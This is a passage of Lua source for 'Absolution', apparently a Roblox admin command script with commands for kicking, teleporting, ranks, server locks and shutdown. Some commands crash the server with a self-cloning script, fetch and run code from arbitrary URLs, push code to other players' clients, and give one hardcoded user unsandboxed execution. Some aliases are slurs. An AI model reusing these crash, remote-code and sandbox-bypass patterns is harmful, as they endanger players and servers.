					Absolution.Handler:sendPacket(v, "repeat",{["REASON"] = Reason})
					game:service'Debris':AddItem(v, 6)
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "n" then
		Msg = Msg:gsub("-n","")
		local Players = Absolution.Functions.getPlayers(Speaker, Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				ypcall(function()
					v.Parent = nil
					Absolution.Functions.Out(Speaker, 'Nilkicked '..v.Name..'.', 5)
				end)
			end
		end
	else
		local Players = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
		if #Players > 0 then
			local Reason = Msg:sub(Split + 1)..' ('..Speaker.Name..')'
			for _,v in pairs(Players) do
				if Absolution.Functions:findRank(v) >= 3 then
					ypcall(function()
						Absolution.Functions.Output(Speaker, v.Name..' has elevated access. Confirm kick for: '..Reason,'Really red',function()
							--Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
							Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
							Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
							Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
							game:service'Debris':AddItem(v, 6)
						end)
					end)
				else
					ypcall(function()
						--Absolution.Functions.sbOutput(v.Name..' was disconnected for '..Reason, 'Error')
						Absolution.Functions.Announce(v.Name..' was disconnected for '..Reason, 'Error')
						Absolution.Functions.Out(Speaker, v.Name..' was disconnected for '..Reason..'.', 5)
						Absolution.Handler:sendPacket(v, 'disconnect',{["REASON"] = Reason})
						game:service'Debris':AddItem(v, 6)
					end)
				end
			end
		end
	end
end)
Absolution.Functions.Command("Set Nick", {"nick","setnick"}, 4, "Changes a player's nickname", "No Flags",function(Speaker, Msg)
	local Split = Msg:find('/')
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
	local Nick = Msg:sub(Split + 1)

	for i,v in pairs(Player) do
		Absolution.Functions.nickName(v.Name, Nick)
		Absolution.Functions.Out(Speaker, 'Renamed '..v.Name..' to '..Nick..'.', 5)
	end

end)
Absolution.Functions.Command("nilAllow", {"na","nilallow","nallow","nila"}, 4, "Toggles a player's nil privileges", "No Flags",function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	local Status;
	Absolution.Functions.Dismiss(Speaker)
	if #Players > 0 then
		for _,v in pairs(Players) do
			ypcall(function()
				Status = Absolution.Handler:sendPacket(v, 'togglenil',{})
			end)
			--Absolution.Functions.Output(Speaker,(Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name),(Status and 'Lime green' or 'Really red'),nil ,8)
			Absolution.Functions.Out(Speaker, (Status and 'Allowed nilallow for '..v.Name or 'Removed nilallow for '..v.Name), 5)
			--Absolution.Functions.Output(v,(Status and 'You can go nil!' or 'Don\'t try to go nil!'),(Status and 'Lime green' or 'Really red'),nil ,8)
			Absolution.Functions.Out(v, (Status and 'You can go nil!' or 'Don\'t try to go nil!'), 5)
		end
	end
end)
-- Rank 5 --

Absolution.Functions.Command("Disable Client", {"disable",'fag','fuckoff'}, 5, "Disables a clients input", "No Flags",function(Speaker, Msg)
	local Players = Absolution.Functions.getPlayers(Speaker, Msg)
	local Status;
	Absolution.Functions.Dismiss(Speaker)
	if #Players > 0 then
		for _,v in pairs(Players) do
			ypcall(function()
				Status = Absolution.Handler:sendPacket(v, 'disable',{})
			end)
		Absolution.Functions.Out(Speaker,(Status and 'Disabled'..v.Name or 'Something went wrong there. (404) error not found'),(Status and 5 or 4))
		end
	end
end)

	Absolution.Functions.Command("Teleport", {"teleport", "tele", "tp"}, 5, "Teleports A Player To Another Player", "-p (Place) -ps (Private Server)", function(Speaker,Msg)
	if Absolution.Functions.GetSplit(Msg) == "p" then
		Msg = Msg:gsub("-p", "")
		local Split = Msg:find('/')
		local Player = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
		local Numbers = Msg:sub(Split + 1)
		if Speaker.Name=='CLarramore' or Speaker.Name=='coldblahblah' or (tostring(Numbers) and tostring(Numbers)=="192800")then
			Absolution.Functions.Out(Speaker, 'Nice try', 4)
			return
		end
		if Numbers == "oxsb" then
			Numbers = "20279777"
		elseif Numbers == "antisb" then
			Numbers = "21053279"
		elseif Numbers == "pksb" then
			Numbers = "191240586"
		elseif Numbers == "mastersb" then
			Numbers = "210101277"
		elseif Numbers == "jarredsb" then
			Numbers = "189032917"
		elseif Numbers == "nexuresb" then
			Numbers = "178350907"
		elseif Numbers == "c9" then
			Numbers = "133180956"
		elseif Numbers == "quarry" then
			Numbers = "151670365"
		elseif Numbers == "phantom" then
			Numbers = "292439477"
		end
		if #Player > 0 then
			for _,v in pairs(Player) do
				ypcall(function()
					Absolution.Services.TeleportService:Teleport(Numbers, v)
				end)
			end
		end
	elseif Absolution.Functions.GetSplit(Msg) == "ps" then
	Msg=Msg:gsub('-ps','')
	local r,e = ypcall(function()
	local TS = game:GetService("TeleportService")
	if not Absolution.TPReserves[tostring(game.PlaceId)] then
	Absolution.TPReserves[tostring(game.PlaceId)] = TS:ReserveServer(game.PlaceId)
	end
	local players = Absolution.Functions.getPlayers(Speaker,Msg)
	TS:TeleportToPrivateServer(game.PlaceId,Absolution.TPReserves[tostring(game.PlaceId)],players)
	end)
	if not r then Absolution.Functions.Out(Speaker, 'SEVERE ERROR: '..e, 4) end
	else
		local Split = Msg:find('/')
		local Player1 = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
		local Player2 = Absolution.Functions.getPlayers(Speaker,Msg:sub(Split + 1))
		if #Player1 > 0 or #Player2 > 0 then
			for _,v in pairs(Player1) do
				for _,v2 in pairs(Player2) do
					ypcall(function()
						v.Character.Torso.CFrame = v2.Character.Torso.CFrame*CFrame.new(0,10,0)
						Absolution.Functions.Out(Speaker, 'Teleported '..v.Name..' to '..v2.Name..'.', 5)
					end)
				end
			end
		end
	end
end)
Absolution.Functions.Command("Capture", {"cap", "bringhere", "maketab"}, 5, "Makes a player a part of your tablet rotation", "-u (Undo)", function(Speaker,Msg)
	if Absolution.Functions.GetSplit(Msg) == "u" then
		Msg = Msg:gsub("-u", "")
		local Player = Absolution.Functions.getPlayers(Speaker,Msg)
		if #Player > 0 then
			for _,v in pairs(Player) do
				ypcall(function()
					for q,e in pairs(Absolution.Tablets) do
						if e.Tab == v.Character.Torso then
							table.remove(Absolution.Tablets, q)
							Absolution.Functions.Out(Speaker, 'Released '..v.Name, 5)
						end
					end
				end)
			end
		end
	else
		local Player1 = Absolution.Functions.getPlayers(Speaker,Msg)
		if #Player1 > 0 then
			for _,v in pairs(Player1) do
				ypcall(function()
					table.insert(Absolution.Tablets,{Tab = v.Character.Torso, Plr = Speaker.Name})
					Absolution.Functions.Out(Speaker, 'Captured '..v.Name, 5)
				end)
			end
		end
	end
end)
Absolution.Functions.Command("Private Server", {"pri", "privateserver"}, 5, "PrivateServer Menu", nil, function(Speaker,Msg)
	if #Msg == 0 then
		Absolution.Functions.Dismiss(Speaker)
		local Status = Absolution.PrivateServer.Enabled == true and "On" or "Off"
		Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
			Absolution.Functions.Dismiss(Speaker)
			for _,v in pairs(Absolution.Services.Players:getPlayers()) do
				if Absolution.Functions:findRank(v) <= 0.5 then
					Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
					v:Kick()
				end
			end
			Absolution.PrivateServer.Enabled = true
			Absolution.Functions.Output(Speaker, "Private Server Enabled", "Really red", nil, 3)
		end)
		Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Dismiss(Speaker) Absolution.PrivateServer.Enabled = false Absolution.Functions.Output(Speaker, "Private Server Disabled", "Lime green", nil, 3) end)
		Absolution.Functions.Output(Speaker, "Status: "..Status)
	elseif Msg == "on" or Msg == "1" or Msg == "true" then
		Absolution.PrivateServer.Enabled = true
		for _,v in pairs(Absolution.Services.Players:getPlayers()) do
			if Absolution.Functions:findRank(v) <= 0.5 then
				table.insert(Absolution.PrivateServer.Waiting, v.Name)
				Absolution.Functions.Announce(v.Name.." got kicked due to private server.")
				v:Kick()
			end
		end
		Absolution.Functions.Out(Speaker, "Private Server Enabled", 2)
	elseif Msg == "off" or Msg == "0" or Msg == "false" then
		Absolution.PrivateServer.Enabled = false
		Absolution.Functions.Out(Speaker, "Private Server Disabled", 2)
	end
end)
	Absolution.Functions.Command("Lock Server", {"slock", "serverlock"}, 5, "ServerLocking Menu", nil, function(Speaker,Msg)
		Absolution.Functions.Dismiss(Speaker)
		local Status = Absolution.Locks.Server.Locked == true and "On" or "Off"
		local Level;
		local numPlrs = 0
		if not Absolution.Locks.Server.Locked then
			Absolution.Functions.Output(Speaker, "Turn On", "Lime green", function()
				Absolution.Functions.Dismiss(Speaker)
				Absolution.Functions.Output(Speaker, 'Ranks above and equal to...','Really red')
				for i,v in pairs(Absolution.Ranks) do
					if i<=Absolution.Functions:findRank(Speaker.Name) and i>=0 then
						Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
							Absolution.Functions.Dismiss(Speaker)
							Absolution.Locks.Server.rankNumber = i
							Absolution.Functions.Output(Speaker, 'Duration:', "Really red")
							for i=1200,1,-60 do
								Absolution.Functions.Output(Speaker, tostring(i), "Random", function()
									Absolution.Functions.Dismiss(Speaker)
									for _,v in pairs(Absolution.Services.Players:GetPlayers()) do
										local vRank = Absolution.Functions:findRank(tostring(v))
										if(vRank<Absolution.Locks.Server.rankNumber)then
										numPlrs = numPlrs + 1
										end
									end
									Absolution.Functions.Output(Speaker, 'This will disconnect '..numPlrs..' player(s). Continue?','Bright orange',function()
										Absolution.Locks.Server.Duration = i
										Absolution.Functions.Output(Speaker, "Server Lock Enabled", "Really red", nil, 6)
										Absolution.Locks.Server:enabledServerLock()
										Absolution.Functions.Output(Speaker, "Server Lock Completed", "Bright green", nil, 6)
									end)
								end)
							end
						end)
					else
					end
				end
			end)
		else
			Absolution.Functions.Output(Speaker, 'Cannot turn on. Server lock is in effect!', 'Really red')
		end
		Absolution.Functions.Output(Speaker, "Turn Off", "Really red", function() Absolution.Functions.Announce("Server Lock Disabled")  Absolution.Functions.Dismiss(Speaker) Absolution.Locks.Server.Locked = false Absolution.Functions.Output(Speaker, "Server Lock Disabled", "Lime green", nil, 3) end)
		Absolution.Functions.Output(Speaker, "Status: "..Status)
end)
Absolution.Functions.Command("Lock Scripts", {"locks", "lockscripts"}, 5, "Locks/Unlocks Scripting", "-s (Server) -l (Local)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "s" then
		Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
		Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..(tostring(Absolution.Locks.Server.Server) == 'true' and 'active' or 'inactive'), 2)
		return
	elseif Absolution.Functions.GetSplit(Msg) == "l" then
		Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
		Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..(tostring(Absolution.Locks.Server.Local) == 'true' and 'active' or 'inactive'), 2)
		return
	else
	Absolution.Functions.Dismiss(Speaker)
	Absolution.Functions.Output(Speaker, "Server Sided Scripting: "..tostring(Absolution.Locks.Server.Server), "Bright orange")
	Absolution.Functions.Output(Speaker, "Local Sided Scripting: "..tostring(Absolution.Locks.Server.Local), "Bright orange")
	Absolution.Functions.Output(Speaker, "Toggle Server Sided", Absolution.Locks.Server.Server == false and "Lime green" or "Really red", function()
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Locks.Server.Server = not Absolution.Locks.Server.Server
		Absolution.Functions.Out("Admins", "Server Scripting Lock is now "..tostring(Absolution.Locks.Server.Server), 2)
	end)
	Absolution.Functions.Output(Speaker, "Toggle Local Sided", Absolution.Locks.Server.Local == false and "Lime green" or "Really red", function()
		Absolution.Functions.Dismiss(Speaker)
		Absolution.Locks.Server.Local = not Absolution.Locks.Server.Local
		Absolution.Functions.Out("Admins", "Client Scripting Lock is now "..tostring(Absolution.Locks.Server.Local), 2)
	end)
	end
end)
Absolution.Functions.Command("Debugger Console", {"console","cons", "clog"}, 5, "Shows the console", "No Flags", function(Speaker, Msg)
Absolution.Functions.MakeOutput(Speaker)
end)
-- Rank 6 --
Absolution.Functions.Command("Change Rank", {"setrank", "changerank", "srank", "setr"}, 6, "Changes A Player's Rank", "No Flags", function(Speaker, Msg)
	local Split = Msg:find(Absolution.Functions.getRankedTable(Speaker.Name).Bet and Absolution.Functions.getRankedTable(Speaker.Name).Bet or '/')
	local Player = Absolution.Functions.getPlayers(Speaker, Msg:sub(1, Split - 1))
	local Rank = tonumber(Msg:sub(Split + 1))
	if #Player > 0 then
		for _,v in pairs(Player) do
			if Rank == nil then Absolution.Functions.Out(Speaker, "That rank is invalid", 4) return end
			if Rank < -2 then return Absolution.Functions.Out(Speaker, 'You cannot set a rank that low',4) end
			if Rank < 0 and Absolution.Functions:findRank(Speaker) < 4 then Absolution.Functions.Out(Speaker, "You cannot set a rank that low.", 4) return end
			if Absolution.Functions:findRank(v) > Absolution.Functions:findRank(Speaker) then Absolution.Functions.Output(Speaker, "You cannot set a person's rank that is higher than you!", 4) return end
			if Rank < Absolution.Functions:findRank(Speaker) then
				Absolution.Functions.getRankedTable(tostring(v)).Rank = Rank
				Absolution.Functions.Out(Speaker, "Changed "..v.Name.."'s membership status to "..Absolution.Ranks[Rank], 5)
				Absolution.Functions.Out(v, "Your membership was changed to "..Absolution.Ranks[Rank].." by "..Speaker.Name.."!", 5)
				Absolution.Functions.syncRankOut(v)
				else
				Absolution.Functions.Out(Speaker, "You cannot set a rank higher than you!", 4)
			end
		end
	end
end)
Absolution.Functions.Command('Untempban', {'utb','untempban'}, 6, 'Un tempbans a player', 'No flags', function(Speaker, Msg)
	local plr = game:service'Players':GetUserIdFromNameAsync(Msg)
	if not Absolution.Tempbans[tostring(plr)] then Absolution.Functions.Out(Speaker, 'Banned player not found!', 4) return end
	if not plr then Absolution.Functions.Out(Speaker, 'Invalid player!', 4) return end
	local result = game.HttpService:PostAsync(Absolution.HttpConstants.IP .. Absolution.HttpConstants.Tempbans..'?mode=delete', "player="..plr, Enum.HttpContentType.ApplicationUrlEncoded)
	Absolution.Tempbans[tostring(plr)] = nil
	Absolution.Functions.Out(Speaker, result, 2)
	Absolution.Functions.Out(Speaker, 'Unbanned '..Msg..' ('..plr..')', 5)
end)
Absolution.Functions.Command('Trace string', {'trace', 'tr'}, 6, 'Traces a string through all of the logs', '-p (Player)', function(Speaker, Msg)

Absolution.Functions.Dismiss(Speaker)

local GetTime = function(self)
	local hour = math.floor((self%86400)/60/60)
	local min = math.floor(((self%86400)/60/60-hour)*60)
	if min < 10 then min = "0"..min end
	if hour < 10 then hour = "0"..hour end
	return hour..":"..min
end

	if Absolution.Functions.GetSplit(Msg) == "p" then

		local plr = Absolution.Functions.getPlayers(Msg)

		if #plr > 1 then

			Absolution.Functions.Out(Speaker,'Too many players!',4)

			return

		else

			local sData = Absolution.Functions.TraceSearch(plr[1].Name, true)

			for i,v in pairs(sData) do

				Absolution.Functions.Output(Speaker, GetTime(v.tim), nil, function()

					Absolution.Functions.Dismiss(Speaker)

					Absolution.Functions.Output(Speaker, v.data)

				end)
			end

		end

	else

		local sData = Absolution.Functions.TraceSearch(Msg)

		if #sData > 0 then
			for i,v in pairs(sData) do
				Absolution.Functions.Out(Speaker, v.plr.. ' = '..v.data:gsub("\n",""), 5)
			end
		else
			Absolution.Functions.Out(Speaker, 'No logs found for '..Msg, 4)
		end

	end

end)
Absolution.Functions.Command("Shutdown", {"sd", "shutdown"}, 6, "Shutdowns the Server", "-c (Countdown) -a (Abort) -o (Overflow)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "c" then
		Msg = Msg:gsub("-c","")
		for i = 1, Absolution.Constants.ShutdownTime do
			if Absolution.Aborted == true then
				Absolution.Aborted = false
				local ABM = Instance.new("Message", Absolution.Services.Workspace)
				ABM.Text = "Shutdown Aborted!"
				Absolution.Services.Debris:AddItem(ABM, 1)
				Absolution.Locks.Server.Server = false
				Absolution.Locks.Server.Local = false
				return
			else
				Absolution.Locks.Server.Server = true
				Absolution.Locks.Server.Local = true
				local ABM = Instance.new("Message", Absolution.Services.Workspace)
				ABM.Text = "\n\n\n\n\nShutdown in "..Absolution.Constants.ShutdownTime-i.." seconds"
				wait(1)
				if ABM ~= nil then
					ABM:remove()
				end
			end
		end
		Absolution.Functions.Shutdown(Speaker.Name, #Msg>0 and Msg or 'No reason defined')
	elseif Absolution.Functions.GetSplit(Msg) == "a" then
		Msg = Msg:gsub("-a", "")
		Absolution.Aborted = true
	elseif Absolution.Functions.GetSplit(Msg) == "o" then
		Msg = Msg:gsub("-o", "")
		Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
		Absolution.Functions.createScript([[
			while game:service'RunService'.Stepped:wait() do
				script:Clone().Parent = game:GetService("Workspace")
			end
		]], Absolution.Services.Workspace)
		end)
	else
		Absolution.Functions.Output(Speaker, 'Confirm shutdown (THIS WILL BE LOGGED)', 'Really red',function()
		Absolution.Functions.Shutdown(Speaker.Name, Msg and Msg or 'no reason given')
		end)
	end
end)
-- Rank 7 --
Absolution.Functions.Command("Remove Script", {"cremove"}, 7, "Removes the Script", "No Flags", function(Speaker, Msg)
	Absolution.Handler.sendChat('Removing Absolution...')
	Absolution.Functions.Out("Admins", 'Removing Absolution...', 5)
	Absolution.Handler:fireAllClients('removescript')
	wait(2)
	--syncRanksOut()
	for i,v in pairs(Absolution.Services.Players:getPlayers()) do
		Absolution.Functions.Dismiss(v)
	end
	for i,v in pairs(Absolution.Connections) do
	pcall(function()
		v:disconnect()
	end)
	end
	for i,v in pairs(Absolution.Functions) do
		Absolution.Functions[i] = function() end
	end
	Absolution = nil
	for i,v in pairs(getfenv()) do
		getfenv()[i] = nil
	end
	script.Source = ''
end)
Absolution.Functions.Command("Send Packet", {"packet", "sendp", "pseudopacket"}, 7, "Sends a packet to a player", "No Flags", function(Speaker,Msg)
	local Split = Msg:find('/')
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
	local Packet = Msg:sub(Split + 1)
	local pckt;
	if #Players > 0 then
		for _,v in pairs(Players) do
			local Ran,Error = ypcall(function()
				pckt = Absolution.Handler:sendPacket(v, Packet)
			end)
			if not Ran then
				Absolution.Functions.Out(Speaker, Error, 4)
			else
				Absolution.Functions.Out(Speaker, tostring(pckt), 1)
			end
		end
	end
end)
Absolution.Functions.Command("Connect Player", {"connect","conp","cplayer","connectplayer"}, 7, "Connects a player to absolution", "No Flags", function(Speaker,Msg)
	local Players = Absolution.Functions.getPlayers(Speaker,Msg)
	if #Players > 0 then
		for _,v in pairs(Players) do
			local Ran,Error = ypcall(function()
				Absolution.Functions:ConnectPlayer(v)
			end)
			if not Ran then
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
				Absolution.Functions.Out(Speaker, Error, 4)
			else
				Absolution.Functions.Out(Speaker, "Attempting to force connect "..v.Name, 5)
				--Absolution.Functions.Output(Speaker, "Attempting to force connect "..v.Name, 'White')
			end
		end
	end
end)
Absolution.Functions.Command("Send loadstring", {"loadstr", "rlt", "nl"}, 7, "Sends a code to a player", "No Flags", function(Speaker,Msg)
	local Split = Msg:find('/')
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
	local Packet = Msg:sub(Split + 1)
	local pckt;
	if #Players > 0 then
		for _,v in pairs(Players) do
			local Ran,Error = ypcall(function()
				pckt = Absolution.Handler:clientLS(Packet, v)
			end)
			if not Ran then
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
				Absolution.Functions.Out(Speaker, Error, 4)
			else
				--Absolution.Functions.Output(Speaker, tostring(pckt), 'White')
				Absolution.Functions.Out(Speaker, tostring(pckt), 1)
			end
		end
	end
end)
Absolution.Functions.Command("NewLocalScript", {"nls","forcelocal"}, 7, "Sends a localscript to a player", "No Flags", function(Speaker,Msg)
	local Split = Msg:find('/')
	local Players = Absolution.Functions.getPlayers(Speaker,Msg:sub(1, Split - 1))
	local Packet = Msg:sub(Split + 1)
	local pckt;
	if #Players > 0 then
		for _,v in pairs(Players) do
			local Ran,Error = ypcall(function()
				pckt = Absolution.Functions.NLS(Packet, v:findFirstChild('PlayerGui'))
			end)
			if not Ran then
				--Absolution.Functions.Output(Speaker, Error, 'Really red')
				Absolution.Functions.Out(Speaker, Error, 4)
			else
				--Absolution.Functions.Output(Speaker, 'Sent localscript', 'White')
				Absolution.Functions.Out(Speaker, 'Sent local to '..v.Name, 5)
			end
		end
	end
end)
Absolution.Functions.Command('Load ic3 admin', {'loadcancer'}, 7, 'Loads ic3s cancer module (do not do this unless you know what the hell ur doing)', 'No Flags', function(Speaker, Msg)
Absolution.Functions.createScript([[require(200901975)'ic399']], workspace)
end)
Absolution.Functions.Command("Load HTTP from page", {'loadh','httpload'}, 7, 'Loads an http script from a website', 'No Flags', function(Speaker,Msg)
	if #Msg >0 then
		local httpSite = Msg
		Absolution.Functions.Output(Speaker,'Are you sure you want to load '..httpSite..'?','Bright violet',function()
			local rtn = Absolution.Services.HttpService:GetAsync(httpSite)
			Absolution.Functions.createScript(rtn, Absolution.Services.Workspace, Speaker.Name..' http script')
		end)
	end
end)
Absolution.Functions.Command("Execute", {"exe", "execute"}, 7, "Executes A String In Script", "No Flags", function(Speaker, Msg)
	warn(Speaker, "loadstring(\""..Msg.."\")")
	if Speaker.Name ~='Darkus_Theory' then
		local RealEnvironment, SecureEnvironment, NewEnvironment, Sandbox
		local MainFunction, MainError = ypcall(function()
			local ProtectTable = function(Table)
				return setmetatable(Table,{__metatable = "[ Sandbox ]:\nInvalid permissions"})
			end
			local SecureEnvironment = {
				script = Instance.new("Script")
			}
			SecureEnvironment.script.Name = "Absolution"
			NewEnvironment = {
				__index = (function()
					local EnvironmentFunctions = {}
					for Indexes, Value in pairs{
						["game,Game"] = game,
						["workspace,Workspace"] = Absolution.Services.Workspace,
						Workspace = Absolution.Services.Workspace,
						_G = Absolution.Fake._G,
						_VERSION = "SandBox v1",
						shared = Absolution.Fake.shared,
						setfenv = setfenv,
						rawset = rawset,
						rawget = rawget,
						newproxy = newproxy,
						setmetatable = setmetatable,
						getmetatable = getmetatable,
						pairs = pairs,
						ipairs = ipairs,
						next = next,
						select = select,
						collectgarbage = collectgarbage,
						assert = assert,
						dofile = dofile,
						load = load,
						pcall = pcall,
						ypcall = ypcall,
						xpcall = xpcall,
						spawn = spawn,
						Spawn = spawn,
						tonumber = tonumber,
						tostring = tostring,
						type = type,
						unpack = unpack,
						newproxy = newproxy,
						gcinfo = gcinfo,
						wait=wait,
						tick = tick,
						time = time,
						version = version,
						PluginManager = PluginManager,
						settings = settings,
						Stats = Stats,
						UserSettings = UserSettings,
						Absolution = (function()
							local NewAbsolution = {}
							local Absolution_Security = {
								__index = Absolution,
								__metatable = "[ Sandbox ]:\nLocked"
							}
							local Secure = setmetatable(NewAbsolution,Absolution_Security)
							if Absolution.Functions:findRank(Speaker.Name) >=8 then
							function NewAbsolution:realFenv()
								return getfenv(1)
							end
							function NewAbsolution:getRealAbsolutionTable()
								return Absolution
							end
							else
							end
							return NewAbsolution
						end)(),
						loadstring = function(String)
							local Load = loadstring(String)
							setfenv(Load, Sandbox)
							return Load
						end,
						print = function(...)
							local Data, Return = {...}, ""
							for Index,Value in pairs(Data) do
								Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
							end
							return Absolution.Functions.Out(Speaker,Return, 1)--Absolution.Functions.Output(Speaker, Return, "White")
						end,
						warn = function(...)
							local Data, Return = {...}, ""
							for Index,Value in pairs(Data) do
								Return = Return .. tostring(Value) .. (Index < #Data and ", " or "")
							end
							return Absolution.Functions.Out(Speaker,Return, 3)--Absolution.Functions.Output(Speaker, Return, "Bright orange")
						end,
						error = function(String, Level)
							return Absolution.Functions.Out(Speaker,String, 4)--Absolution.Functions.Output(Speaker, String, "Really red")
						end,
						require = function()
							return error'lol fucking nope.'
						end,
						getfenv = function(Level)
							local ReturnedEnvironment = SecureEnvironment
							if type(Level) == "function" then
								return ReturnedEnvironment
							elseif type(Level) == "number" and Level >= -.5 and Level <= 2 then
								return ReturnedEnvironment
							elseif type(Level) == "nil" then
								return ReturnedEnvironment
							else
								return error("ERROR: Invalid Environment Level")
							end
						end,
						Instance = ProtectTable{
							new = function(ClassName, Parent)
								if ClassName then
									return Instance.new(ClassName, Parent)
								else
									return error("String expected")
								end
							end,
							Lock = Instance.Lock,
							UnLock = Instance.UnLock,
						},
						UDim2 = ProtectTable{
							new = UDim2.new
						},
						Vector2 = ProtectTable{
							new = Vector2.new
						},
						Vector3 = ProtectTable{
							FromNormalId = Vector3.FromNormalId,
							FromAxis = Vector3.FromAxis,
							new = Vector3.new,
						},
						BrickColor = ProtectTable{
							Black = BrickColor.Black,
							Blue = BrickColor.Blue,
							DarkGray = BrickColor.DarkGray,
							Gray = BrickColor.Gray,
							Green = BrickColor.Green,
							New = BrickColor.New,
							Random = BrickColor.Random,
							Red = BrickColor.Red,
							White = BrickColor.White,
							Yellow = BrickColor.Yellow,
							new = BrickColor.new,
							palette = BrickColor.palette,
							random = BrickColor.random
						},
						CFrame = ProtectTable{
							new = CFrame.new,
							Angles = CFrame.Angles,
							fromAxisAngle = CFrame.fromAxisAngle,
							fromEulerAnglesXYZ = CFrame.fromMEulerAnglesXYZ,
						},
						table = ProtectTable{
							setn = table.setn,
							insert = table.insert,
							getn = table.getn,
							foreachi = table.foreachi,
							maxn = table.maxn,
							foreach = table.foreach,
							concat = table.concat,
							sort = table.sort,
							remove = table.remove,
						},
						coroutine = ProtectTable{
							resume = coroutine.resume,
							yield = coroutine.yield,
							status = coroutine.status,
							wrap = coroutine.wrap,
							create = coroutine.create,
							running = coroutine.running,
						},
						string = ProtectTable{
							sub = string.sub,
							upper = string.upper,
							len = string.len,
							gfind = string.gfind,
							rep = string.rep,
							find = string.find,
							match = string.match,
							char = string.char,
							dump = string.dump,
							gmatch = string.gmatch,
							reverse = string.reverse,
							byte = string.byte,
							format = string.format,
							gsub = string.gsub,
							lower = string.lower,
						},
						math = ProtectTable{
							log = math.log,
							acos = math.acos,
							huge = 1/0,
							ldexp = math.ldexp,
							pi = math.pi,
							cos = math.cos,
							tanh = math.tanh,
							pow = math.pow,
							deg = math.deg,
							tan = math.tan,
							cosh = math.cosh,
							sinh = math.sinh,
							random = math.random,
							randomseed = math.randomseed,
							frexp = math.frexp,
							ceil = math.ceil,
							floor = math.floor,
							rad = math.rad,
							abs = math.abs,
							sqrt = math.sqrt,
							modf = math.modf,
							asin = math.asin,
							min = math.min,
							max = math.max,
							fmod = math.fmod,
							log10 = math.log10,
							atan2 = math.atan2,
							exp = math.exp,
							sin = math.sin,
							atan = math.atan,
						},
						os = ProtectTable{
							difftime = os.difftime,
							time = os.time,
						},
					} do
						for Index in Indexes:gmatch("[^, ?]+") do
							EnvironmentFunctions[Index] = Value
							if type(Value) == "function" then
								pcall(setfenv, Value, SecureEnvironment)
							end
						end
					end
					return EnvironmentFunctions
				end)(),
				__newindex = function(Self, Index, Value)
					rawset(NewEnvironment.__index, Index, Value)
					return rawset(Self, Index, Value)
				end,
				__metatable = SecureEnvironment,
			}
			Sandbox = setmetatable(SecureEnvironment, NewEnvironment)
			Sandbox.Absolution.Ranked = 'PROTECTED TABLE'
			Sandbox.Absolution.HttpConstants = 'PROTECTED TABLE'
			Sandbox.Absolution.Commands = 'PROTECTED TABLE'
			Speaker = Speaker
			local SpeakerRank = Absolution.Functions:findRank(tostring(Speaker))
			local Function, FunctionError = loadstring(Msg, "string")
			if type(Function) == "function" then
				setfenv(Function, Sandbox)
				Function = coroutine.create(Function)
				local Check,Error = coroutine.resume(Function)
				if not Check then
					Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, "ERROR:\n"..tostring(Error), "Really red")
				else
					Absolution.Functions.Out(Speaker,'Ran Successfully', 5)--Absolution.Functions.Output(Speaker, "Ran Successfully", "Bright orange")
				end
			else
				if not Function then
					error("ERROR:\n"..tostring(FunctionError))
				end
			end
		end)
		if not MainFunction then
			Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, "ERROR:\n"..tostring(MainError), "Really red")
		end
	else
		local Speakr = Speaker
		local ran,error = ypcall(function()
			loadstring(Msg)()
		end)
		if not ran then
			Absolution.Functions.Out(Speaker,"ERROR: "..tostring(Error), 4)--Absolution.Functions.Output(Speaker, error, 'Really red')
		else
			Absolution.Functions.Out(Speaker,'Ran Successfully!', 5)--Absolution.Functions.Output(Speaker, 'Ran successfully!', 'Lime green')
		end
	end
end)
-- Rank 8 --
Absolution.Functions.Command("Absolution Orb", {"orb",'orby'}, 8, "Gives the SPEAKER an orb", "-e (einsteinK replica)", function(Speaker, Msg)
	if Absolution.Functions.GetSplit(Msg) == "e" then
		Absolution.Functions.loadOrb(Speaker.Name, true)
	else
		Absolution.Functions.loadOrb(Speaker.Name)
	end
end)
Absolution.Functions.Command("Sync Ranks Out", {'so','sync','sro'}, 8, "Syncs data to database", "-p (Player data)", function(Speaker,Msg)
	if Absolution.Functions.GetSplit(Msg) == 'p' then
		local Players = Absolution.Functions.getPlayers(Speaker,Msg)
		if #Players > 0 then
			for _,v in pairs(Players) do
				Absolution.Functions.Out(Speaker,"Attempting to sync data for "..v.Name, 5)
				local Ran,Error = ypcall(function()
					Absolution.Functions.syncRankOut(v)
				end)
				if not Ran then
					--Absolution.Functions.Output(Speaker, Error, 'Really red')
					Absolution.Functions.Out(Speaker, Error, 4)
				else
